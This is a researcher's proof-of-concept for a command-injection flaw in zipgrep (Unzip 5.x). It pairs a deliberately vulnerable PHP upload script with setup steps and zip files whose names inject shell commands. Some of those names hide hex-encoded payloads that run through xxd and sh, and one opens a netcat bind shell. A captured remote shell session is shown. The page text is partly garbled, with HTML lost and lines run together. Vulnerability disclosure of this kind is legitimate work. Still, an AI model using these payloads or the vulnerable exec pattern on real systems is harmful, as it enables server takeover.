written by cleemy desu wayo / licensed under CC0 / last update: 2023-08-13
(no file uploaded)
'); } else{ $is_zip_str = 'no'; $original_file_basename = basename($_FILES['file']['name']); $original_file_pathinfo = pathinfo($original_file_basename); if($original_file_pathinfo['extension'] === 'zip') { $is_zip_str = 'yes'; // exec zipgrep exec('zipgrep CVE "'. $_FILES['file']['tmp_name']. '"', $search_results); // move to ./zip_stored/ move_uploaded_file($_FILES['file']['tmp_name'], './zip_stored/'. $original_file_basename); // save search results $fp = fopen('./zip_stat/latest-search-result.txt', 'w'); foreach ($search_results as $line) { fwrite($fp, $line. "\n"); } fclose($fp); } print('file name: '. htmlspecialchars($_FILES['file']['name']). '
'); print('tmp file name: '. htmlspecialchars($_FILES['file']['tmp_name']). '
'); print('stored to zip_stored/ directory: '. htmlspecialchars($is_zip_str). '
'); } ?>This is an ancient vulnerability of zipgrep in Unzip 5.x. zipgrep is a wrapper script. Perhaps this problem does not exist for zipgrep in Unzip 6.x.
I have notified the developers of Unzip about this bug on Feb 12, 2022. The current maintainer is aware of the bug, but it is likely that a fixed version will not be released.
I call this bug or something similar "sed injection". There is a similar vulnerability like CVE-2005-0758. I became aware of sed injection on my own in 2013, but I was not aware of CVE-2005-0758 at that time.
This sample is a modified version of "a sample of CVE-2005-0758" ( https://gitlab.com/-/snippets/2580438 ).
Apache 1.3.31, PHP 4.3.8, and vulnerable zipgrep are installed from the beginning when booting from Knoppix 3.6 (released at 2004) Live CD.
you can run this sample on Knoppix 3.6 very easily without special settings.
$ cd /var/www
$ sudo chown www-data:www-data test-zipgrep.php
$ sudo chmod 600 test-zipgrep.php$ sudo apachectl start$ cd /var/www
$ sudo mkdir zip_stat
$ sudo mkdir zip_stored$ sudo chown www-data:www-data zip_stat zip_stored
$ sudo chmod 707 zip_stat zip_stored
$ echo CVE-2099-0001 > hoge.txt$ echo CVE-2099-0002 > '|;edate;#.txt'$ zip test1.zip *.txt
adding: hoge.txt (stored 0%)
adding: |;edate;#.txt (stored 0%)$ cd /var/www/zip_stored
$ sudo wc -c test1.zip
348 test1.zip.$ cd /var/www/zip_stat
$ cat latest-search-result.txt
hoge.txt:CVE-2099-0001
Sun Aug 13 15:49:50 EDT 2023
CVE-2099-0002|;edate;whoami;id;#.txt|;exgalaga;#.txt|;eecho 2f7573722f67616d65732f7867616c6167610a|xxd -r -p|sh;#.txt(the above sample should not work well with /usr/bin/zipgrep in knoppix 3.2)
|;eecho 6e63202d6c6e76702034353435202d65202f62696e2f73680a|xxd -r -p|sh;#.txt(the above sample should not work well with /usr/bin/zipgrep in knoppix 3.2)
$ nc 192.168.1.3 4545
uname -a
Linux Knoppix 2.4.27 #2 SMP Mo Aug 9 00:39:37 CEST 2004 i686 GNU/Linux
pwd
/var/www
whoami
www-data